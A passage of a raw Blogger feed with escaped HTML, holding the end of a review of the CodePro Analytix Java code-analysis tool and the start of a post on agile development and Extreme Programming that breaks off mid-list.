rgb(0, 0, 238); font-family: Times; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 136px; &quot; /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;CodePro auditor give one more favor to the developers that it divides the problems on the basis of severity. Red, Blue and Yellow; Red means high, Yellow means low and Blue flag means trivial. Anyway you will be able to explore more once you will start using it.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFMxhVlO-TRI8nV0rjXqhJv_Efuqo86Lc_dzEVoLixw-t9tj8IZS0VW9tNzA6eSgF5fEhDj8Wy1DL_qYNrANGMNWP4c3Z3OIa_ShSM5IuwctzFq8kKN9UuBBqVx-Jh2lq-DFFameG4x3T/s1600/Audit+Fix.png&quot; style=&quot;font-family: Times; &quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFMxhVlO-TRI8nV0rjXqhJv_Efuqo86Lc_dzEVoLixw-t9tj8IZS0VW9tNzA6eSgF5fEhDj8Wy1DL_qYNrANGMNWP4c3Z3OIa_ShSM5IuwctzFq8kKN9UuBBqVx-Jh2lq-DFFameG4x3T/s320/Audit+Fix.png&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732645954814096770&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 246px; &quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;Code Metrics&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;Code Metrics is a feature which gives you the graphical representation of the code you have written and also provides you the quality indicators with a detailed report with graphs about your source code. The best thing I found in that and probably you will find that too is just the separation in the form of groups.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;Each group contains detailed information about it&#39;s members and also help you in order to identify the line of codes, number of private members, public members, static or non static variables. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYeq9oJeQn0g9PG9ARVu_9aySqfWNBNyYOmq1U9pm0m5Fm7fbviiBWoMpwxXmgKUbOlj7l-bmlKgPDu_K01DXX117e0tzgig0cAjCVn3hGGgsdwgSTp3zRuOwt2FgM3BGaTlND96h1J1H0/s1600/pubpropacpri.jpg&quot;&gt;&lt;br class=&quot;Apple-interchange-newline&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYeq9oJeQn0g9PG9ARVu_9aySqfWNBNyYOmq1U9pm0m5Fm7fbviiBWoMpwxXmgKUbOlj7l-bmlKgPDu_K01DXX117e0tzgig0cAjCVn3hGGgsdwgSTp3zRuOwt2FgM3BGaTlND96h1J1H0/s320/pubpropacpri.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642983755905922&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 192px; &quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMPh0VhMkoPxot5bl4iVly1oX9peLvnF0fmNcFcX_AtXevpwWq3sSG25T2Dgx7kPYwBXa3ZSfILdOqsBHf0Bq-LZph5m63rKxqrLk2pHqP4VkRtK-pxc15Iulr4qhHekB89dMJO43BJV44/s1600/parametercount.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMPh0VhMkoPxot5bl4iVly1oX9peLvnF0fmNcFcX_AtXevpwWq3sSG25T2Dgx7kPYwBXa3ZSfILdOqsBHf0Bq-LZph5m63rKxqrLk2pHqP4VkRtK-pxc15Iulr4qhHekB89dMJO43BJV44/s320/parametercount.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642976737471154&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 193px; &quot; /&gt;&lt;/a&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL_uSR0WEeRHNJ0qvxoPPvs0WmAcoENOC2HsdsjRvjd_ukVlDr-odj30041Wi2J_xkJVylXiBAdVMDuEcBebnFsGF_vqyrydpWTFARRSMe3G94XYXeBJ7chbPYXzxkrJiuth5Xx_EC_uX4/s1600/interfaceclassgr.jpg&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7isaeTduhYYT9zUo-ur0Bdsykhe688RsqpxoVUET3d-JxFfo7BhVWm5sQDcaYFWmwqeW7Gt3mGQVbv_pZ5y77up5KgQX6F8Xd8W3zgBPKPIvi7ZZ3Y7Zn-4l4AxXS60V4D01F1CV-79Gm/s1600/instancestatic.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7isaeTduhYYT9zUo-ur0Bdsykhe688RsqpxoVUET3d-JxFfo7BhVWm5sQDcaYFWmwqeW7Gt3mGQVbv_pZ5y77up5KgQX6F8Xd8W3zgBPKPIvi7ZZ3Y7Zn-4l4AxXS60V4D01F1CV-79Gm/s320/instancestatic.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642547130937042&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 193px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQASUfLIJ_83Sq5E8uCoWvWC6mVgUep1oIsnXQqBkKwbsXW1myVaeUM3TKRLC1ktijMnafG8B0UUQr_vaiZpPh6MXG_WsEAonxx-Mr3kb80UPXAEAMlNo5hr55hIEjilUld5IVWfGpEX_x/s1600/eoljavadoc.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQASUfLIJ_83Sq5E8uCoWvWC6mVgUep1oIsnXQqBkKwbsXW1myVaeUM3TKRLC1ktijMnafG8B0UUQr_vaiZpPh6MXG_WsEAonxx-Mr3kb80UPXAEAMlNo5hr55hIEjilUld5IVWfGpEX_x/s320/eoljavadoc.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732644585930865282&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 194px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;&lt;b&gt;Library Dependency Analyzer&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;When I just saw the result of this view I was simply WOW, a feature I have been waiting since long. Reason being I include too many libraries in my project, but after time I realize that the project doesn&#39;t require that much libraries. So, in order to get a dependencies of my code in libraries can be easily seen by this view. As it shows you a complete map of libraries with the project with the number of usage from specific library.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKLrApq76iHzb-8E2Ce9kkyuPPi64at6ww2AsTnV9IWgXNgkxlvesRwdGNsWdLw5Zz3usXWhA0iHYP96DR6DVebG7_kIdzbulF0aB8Q1rPcUedlpgnm0p5djCi7GZTZYe9Q5wZQU29gpcB/s1600/dependency.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKLrApq76iHzb-8E2Ce9kkyuPPi64at6ww2AsTnV9IWgXNgkxlvesRwdGNsWdLw5Zz3usXWhA0iHYP96DR6DVebG7_kIdzbulF0aB8Q1rPcUedlpgnm0p5djCi7GZTZYe9Q5wZQU29gpcB/s320/dependency.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732644574557013154&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 149px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;b&gt;Similar Code Finder&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;Last but not the least, this is the best way to find the similar code written in classes in over all project. Once, it shows you the result, it gives you a complete overview of code too that you have written similar code more then once. In order to remove the duplicated code you can easily track the code and create common methods to reduce the LOC of project&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQlVKHHpdvlCkKK0ccpxurf9ZYcXL5ElETxC-N_Q4odxyQLeXh2pYIQczC-sv-ArNI-Z7oP-IV6wg23bIUuYtvlJ2Acp1lEYL0Ox8IuuNXcMDYsWCagpxUzl6JsnuGrn__T5xdDzQpDUDU/s1600/simlarcode.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQlVKHHpdvlCkKK0ccpxurf9ZYcXL5ElETxC-N_Q4odxyQLeXh2pYIQczC-sv-ArNI-Z7oP-IV6wg23bIUuYtvlJ2Acp1lEYL0Ox8IuuNXcMDYsWCagpxUzl6JsnuGrn__T5xdDzQpDUDU/s320/simlarcode.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642993591431522&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 133px; height: 320px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;Weaknesses&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This tool is awesome but, I found few places where this place doesn&#39;t do well, like it doesn&#39;t identify missing comments and annotations and class level comments. I am not sure about as I didn&#39;t explore it that well but, these are my thought on experience as till now I didn&#39;t find the following stuff in that.&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6832985028365047135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/04/code-pro-analytics-must-have-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6832985028365047135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6832985028365047135'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/04/code-pro-analytics-must-have-tool.html' title='Code Pro Analytics - A Must Have Tool'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaegKafqpX1Ue9Z8pRJAB5lLrwJtDQI9lsOK5MWZ7SUh198lavf94zbweyIujeQsKutW4x8f3oAHw6rq9NNVD8Hnthz4yMlXP0F4aBxRtLa7sTK5LpGc1q9cqNy-kYyPe873F-667Y3-8/s72-c/installnew.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-2623225114269777169</id><published>2012-04-17T12:31:00.004-07:00</published><updated>2012-04-21T16:03:36.733-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Agile Development-Extreme Programming</title><content type='html'>&lt;div style=&quot;font-size: 100%; line-height: normal; text-align: center; &quot;&gt;&lt;span style=&quot;font-size: 20pt; line-height: 115%; &quot;&gt;Agile Development&lt;/span&gt;&lt;/div&gt;  &lt;h1 style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;a name=&quot;_Toc285754567&quot;&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;Introduction&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class=&quot;MsoNormal&quot; align=&quot;center&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; margin-top: 0in; margin-right: 0.8in; margin-bottom: 10pt; margin-left: 63pt; text-align: center; &quot;&gt;&lt;span class=&quot;MsoSubtleEmphasis&quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Agile software development is a group of software development methodologies based on iterative and incremental development, where requirements and solutions evolve through collaboration between self-organizing, cross-functional teams. The Agile Manifesto introduced the term in 2001.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; align=&quot;center&quot; style=&quot;font-size: 100%; line-height: normal; font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; text-align: center; &quot;&gt;&lt;span style=&quot;font-size: 23px; line-height: 26px;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn69jtlUp-UUp8g4oMcb5VQh6rD4z_2r9Foujk5MZ93t4fPxKxxQxmgao-8ZCT5AF0-iglMOoGD8RF3XRagIaZyzD6MjlCh-7m3bf5_R0xS8WBEfwfvGqj2zRlNm_T4MiyKvdSVfNXco0r/s1600/Untitled.jpg&quot; style=&quot;line-height: normal; text-align: left; font-size: medium; &quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn69jtlUp-UUp8g4oMcb5VQh6rD4z_2r9Foujk5MZ93t4fPxKxxQxmgao-8ZCT5AF0-iglMOoGD8RF3XRagIaZyzD6MjlCh-7m3bf5_R0xS8WBEfwfvGqj2zRlNm_T4MiyKvdSVfNXco0r/s320/Untitled.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732455278104026834&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 263px; height: 320px; &quot; /&gt;&lt;/a&gt;&lt;br class=&quot;Apple-interchange-newline&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; align=&quot;center&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; text-align: center; &quot;&gt;&lt;span style=&quot;font-size:17.0pt;line-height:115%&quot;&gt; &lt;/span&gt;&lt;/p&gt;  &lt;h1 style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;a name=&quot;_Toc285754568&quot;&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;Advantages &amp;amp; Disadvantages&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;As far as agile development is concert as every methodology it has some pros and cons. Major advantages of agile development covers time, teamwork, accurate set of requirements, and client interactive to get a robust desired product.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; margin-top: 0in; &quot; type=&quot;disc&quot;&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Agile methodology has an adaptive team which is      able to respond to the changing requirements.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;The team does not have to invest time and effort      and finally find that by the time they delivered the product, the      requirement of the customer has changed.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Face to face communication and continuous inputs      from customer representative leaves no space for guesswork.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;The documentation is crisp and to the point to      save time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;The end result is the high quality software in      least possible time duration and satisfied customer.&lt;br /&gt;  &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;  &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;As nothing is perfect in this world created by us, Humans so, it also has some imperfections i.e. Unsuitable for larger products or projects, lack of documentation, Senior and expensive resources required.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; margin-top: 0in; &quot; type=&quot;disc&quot;&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;In case of some software deliverables, especially      the large ones, it is difficult to assess the effort required at the      beginning of the software development life cycle.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;There is lack of emphasis on necessary designing      and documentation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;The project can easily get taken off track if the      customer representative is not clear what final outcome that they want.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Only senior programmers are capable of taking the      kind of decisions required during the development process. Hence it has no      place for newbie programmers, unless combined with experienced resources. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;h1 style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;a name=&quot;_Toc285754569&quot;&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;Methodologies of Agile&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-size:18.0pt;line-height:115%&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Agile is not a single methodology but agile is a set of different methodologies which can be considered under agile process modeling. The methodologies are mentioned as:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; margin-top: 0in; &quot; type=&quot;disc&quot;&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Scrum&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Extreme Programming&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Crystal&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Dynamic System Development Method&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Feature Driven Development&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%&quot;&gt;Lean Software Development&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Here we want to narrow down our report towards extreme programming so that we can give the best concentrated material on single topic from agile development rather than precise set of notes about each topic. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h1 align=&quot;center&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; text-align: center; &quot;&gt;&lt;span style=&quot;font-size:19.0pt; line-height:115%&quot;&gt;Extreme Programming&lt;/span&gt;&lt;span style=&quot;font-size:15.0pt; line-height:115%&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Extreme Programming (XP) is the most widely used agile methodology.   XP shares the values espoused by the manifesto but goes further to specify simple set of practices.  Where as many popular methodologies try to answer the question &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;“What are all of the practices I might ever need on a software project?” XP simply asks, “What is the simplest set of practices I could possibly need and what do I need to do to limit my needs to those practices?”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;The significance of this difference cannot be understated.  The most frequent critique of XP is that it is too simple to work beyond a narrow set of project criteria.  Yet, the set of known successes with XP continues to stretch the breadth of projects applicable for XP.  It would seem that the parameters that we use to determine what methods are appropriate for what project are still inadequate.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;To many, XP is a set of twelve interdependent software development practices.  Used together, these practices have had much success, initially with small teams, working on projects with high degrees of change.  However, the more one works with XP, the more it is apparent that the practices don’t capture the essence of XP.   As with the heavier methods, some teams have great success with the XP practices, some less so.  Some larger teams have greater success than smaller ones.    &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%&quot;&gt;Some teams with legacy code have success; others do not.   There is something more than just the practices that enable teams to succeed with XP.   This extra attribute of XP is the XP Values.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;;mso-bidi-language:AR-SA&quot;&gt;XP, originally described by Kent Beck, has emerged as one of the most popular and controversial agile methods. It’s a disciplined approach to delivering high-quality software quickly and continuously. It promotes high customer involvement, rapid feedback loops, continuous testing, continuous planning, and close teamwork to deliver working software at very frequent intervals, typically every 1-3 weeks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size:12.0pt;line-height:115%;mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;;mso-bidi-language:AR-SA&quot;&gt;The original XP recipe is based on four simple values – simplicity, communication, feedback, and courage – and twelve supporting practices:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ul style=&quot;font-family: Georgia, serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 100%; line-height: normal; margin-top: 0in; &quot; type=&quot;disc&quot;&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      AR-SA&quot;&gt;Planning Game &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;  &lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:      12.0pt;line-height:115%;mso-bidi-font-family:&amp;quot;Times New Roman&amp;quot;;mso-bidi-language:      